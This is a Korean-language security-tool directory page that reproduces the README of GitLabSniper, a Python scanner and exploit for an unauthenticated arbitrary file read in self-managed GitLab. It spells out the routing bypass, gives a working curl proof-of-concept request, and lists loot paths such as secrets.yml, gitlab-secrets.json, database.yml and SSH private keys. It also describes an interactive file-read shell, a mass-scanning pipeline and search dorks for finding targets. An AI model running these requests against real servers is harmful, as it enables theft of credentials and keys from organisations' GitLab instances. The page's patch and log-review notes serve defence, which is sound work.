Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
GitLabSniper — 자체 관리형 GitLab CE/EE의 인증되지 않은 임의 파일 읽기 취약점인 CVE-2026-85706에 대한 단일 파일 Python 스캐너 및 익스플로잇으로, 프로젝트 열거, loot 경로, 대화형 셸을 제공합니다. | Kitploit
도구/GitHubGitHub/ynsmroztas/gitlabsniper
ReconnaissanceVulnerability ScannersExploitationScripting & AutomationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration Testing
GitHubynsmroztas/gitlabsniper

GitLabSniper

자체 관리형 GitLab CE/EE의 인증되지 않은 임의 파일 읽기 취약점인 CVE-2026-85706에 대한 단일 파일 Python 스캐너 및 익스플로잇으로, 프로젝트 열거, loot 경로, 대화형 셸을 제공합니다.

216시간 49분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

GitLabSniper — CVE-2026-85706 인증되지 않은 파일 읽기 파이프라인

GitLabSniper

CVE-2026-85706 — GitLab CE/EE 인증되지 않은 임의 파일 읽기
탐지 · 공개 프로젝트 열거 · 탈취 · 대화형 셸 · subfinder/httpx 파이프라인


작성자: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
사이트: ynsmroztas.github.io
메일: [email protected]

본인이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템(버그 바운티 / VDP / 서면 계약)에서만 사용하십시오.


개요

GitLabSniper.py는 CVE-2026-85706을 위한 단일 파일 Python 스캐너/익스플로잇입니다. 이 취약점은 자체 관리형 GitLab Community Edition 및 Enterprise Edition에서 발생하는 인증되지 않은 로컬 파일 읽기입니다.

이 도구는 "버전이 취약해 보인다"는 수준에서 멈추지 않습니다. Workhorse 파서 차이 우회를 실행하고, Rails 응답을 분류하며, 400 응답 본문의 invalid %-encoding (...) 안에 파일 바이트가 포함된 경우에만 FILE LEAK을 출력합니다.

구분버전
영향받음18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
패치됨19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
범위 외gitlab.com · GitLab Dedicated

취약점 동작 원리

세 개의 repository 엔드포인트가 Workhorse requestBodyUploader 뒤에 위치합니다:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails는 원시 file.path 필드를 받아 authenticate! 이전에 File.open을 실행합니다. 여기서 require_gitlab_workhorse!는 실질적인 게이트가 아닙니다. Workhorse는 프록시하는 모든 항목에 유효한 Gitlab-Workhorse-Api-Request JWT를 이미 부여합니다.

Workhorse는 먼저 업로드를 재작성해야 했습니다. 하지만 그 라우트 정규식은 EscapedPath() 와 퍼센트 디코딩을 하지 않는 path.Clean 복제본에 매칭됩니다. Puma는 Grape 라우팅 전에 %XX를 디코딩합니다.

root@kitploit:~
공격자
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← 후행 슬래시도 통과
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     정규식이 "%63ommits" / "commits/" 확인  → MISS  (재작성 없음)
        │
        ▼
Puma          %63 디코딩 → commits                 → Rails로 라우팅
        │
        ▼
Rails         File.open(params[:file][:path])       → 인증 이전
        │
        ▼
Rack          parse_nested_query(File.read(path))
              %HH가 아닌 잘못된 "%"
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<원시 파일 바이트>)

file=을 비워두면 requires :file, WorkhorseFile을 충족합니다(빈 값 → nil). 유출 채널은 urlencoded 분기입니다. JSON/Oj는 파일 바이트를 같은 방식으로 반환하지 않습니다. 이 도구는 항상 Content-Type=application/x-www-form-urlencoded를 전송합니다.

//, /./, %2F, ;는 우회하지 못합니다. path.Clean이 처음 두 개를 정규화하고 Puma는 %2F를 거부합니다.

프로젝트 id는 "어떤 저장소에서 파일을 훔칠지"를 지정하는 것이 아닙니다. file.path는 서버의 절대 경로입니다. id는 취약한 컨트롤러에 도달하기 위한 URL 조각일 뿐입니다.

이 때문에 도구는 GET /api/v4/projects를 열거하고 게이트가 걸린 id를 건너뜁니다.

확정된 유출은 본문에 다음 부분 문자열이 있어야 합니다:

root@kitploit:~
invalid %-encoding (

단독 %가 없는 파일은 여전히 열릴 수 있지만(read-noecho / 이후 branch is required) 바이트를 반환하지 않습니다. 이는 오라클이며 보고 가능한 덤프가 아닙니다.


기능

  • GitLab 핑거프린트 (HTML / x-gitlab-* / sign-in) + 버전이 노출될 경우 범위 확인
  • 공개 프로젝트 열거 (GET /api/v4/projects)
  • 게이트가 걸리지 않은 프로젝트 id 자동 선택 (대체 1..7)
  • Workhorse 우회 매트릭스
    • %63ommits · %72epository · %66iles
    • 후행 / · .json
    • files에 대한 POST + PUT
  • 응답 분류기: leak · leak-fragment · read-noecho · missing · project-gate · rewrite ·

설치

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. 다른 의존성 없음.


사용법

단일 호스트

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

대화형 셸

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

파이프라인 (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin이 TTY가 아님 → --pipe가 암시됨
cat hosts.txt | python3 GitLabSniper.py --auto

파서가 허용하는 형식:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • httpx -json 객체 (url / status_code)
  • 순수 host 및 host:port
  • [0] / 타임아웃 / 빈 행은 건너뜀

플래그

종료 코드: 0 유출 · 1 오라클만 / 파이프에서 유출 없음 · 2 사용 가능한 신호 없음.


판정

read-noecho만으로 critical을 제출하지 마십시오.


기본 탈취 경로

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

반환될 때 가장 큰 영향을 미치는 파일: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, DB 비밀번호).


수동 PoC (도구가 전송하는 것과 동일한 요청)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

취약한 인스턴스는 다음과 유사한 JSON을 반환합니다:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

일부 호스트에서는 %63ommits가 401이고 /repository/commits/ (후행 슬래시)가 유출되는 폼입니다. 도구는 모든 변형을 순회합니다.


정찰 도우미

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

subfinder | httpx | GitLabSniper.py --pipe --auto와 함께 사용하십시오.


면책 조항

이 저장소는 패치 이후의 권한 있는 보안 테스트 및 방어 검증을 위한 것입니다. 범위에 대한 책임은 사용자에게 있습니다.

영향받는 범위의 자체 관리형 GitLab 서버를 운영 중이라면: 지금 19.1.8 / 19.2.6 / 19.3.2로 업그레이드하십시오. 접근 로그에서 file.path 쿼리 파라미터가 포함된 POST /api/v4/projects/*/repository/commits를 찾으십시오.


크레딧

취약점은 s3ntago가 GitLab HackerOne을 통해 보고했습니다.

이 도구의 기반이 된 라이트업 및 원본 PoC:

https://github.com/guneykabel/cve-2026-85706

명확한 분류기(leak / missing / project-gate / rewrite)와 Workhorse ↔ Puma 차이 설명을 공개해 주신 guneykabel께 감사드립니다. GitLabSniper는 그 모델을 프로젝트 열거, 탈취, 셸, 정찰 파이프라인으로 감쌌습니다.

GitLab 권고 / 패치: CE/EE 19.1.8, 19.2.6, 19.3.2.


작성자

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • 웹 — ynsmroztas.github.io
  • 메일 — [email protected]
도구 다운로드
엔드포인트프로젝트 요구사항
files (%66iles)대부분의 id가 작동 — File.open이 프로젝트 검사 이전에 실행됨
commits (%63ommits, commits/, commits.json)익명 사용자가 read_code할 수 있는 프로젝트 필요. 그렇지 않으면 404 Project Not Found
noroute
  • --auto 탈취 목록 (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh 키, environ)
  • 첫 유출 이후 작동하는 폼 고정
  • 대화형 셸 (cat, loot, secrets, passwd, project <id>, curl)
  • 파이프라인: 원시 호스트, httpx -sc -td -title, httpx -json, ANSI 제거
  • JSON / JSONL 리포트 (-o)
  • 컬러 HIT 배너 + 바로 붙여넣을 수 있는 curl PoC
  • 플래그의미
    -u / -t / --target단일 기본 URL
    --pipestdin에서 대상 읽기
    -f / --list호스트 파일
    --file읽을 하나의 절대 경로
    --auto / --loot고가치 GitLab 파일 목록
    --shell대화형 파일 읽기 셸
    --project-id프로젝트 id 강제 지정 (기본값: 열거 + 대체)
    --max-projects열거/대체 id 상한 (기본값 8)
    --force핑거프린트가 약해도 스캔
    --threads파이프라인 워커 (기본값 8)
    --timeout초 (기본값 15)
    -ohits.json 또는 hits.jsonl
    -q조용히
    --no-banner배너 없음
    태그의미보고?
    leakinvalid %-encoding ( + 파일 바이트예 — 확정
    leak-fragment부분 반환아마도, 본문 첨부
    read-noechoopen 이후 401 / branch is required, 파일에 % 없음오라클만
    missinglocal file not present — 우회가 디스크에 도달함존재 오라클
    project-gate404 Project Not Found다른 공개 id 시도
    rewriteWorkhorse가 본문을 재작성함 (Invalid json)이 폼은 죽음
    noroute일반 404패치됨 또는 잘못된 경로
    other500 / 잔여주장하기 전에 본문 덤프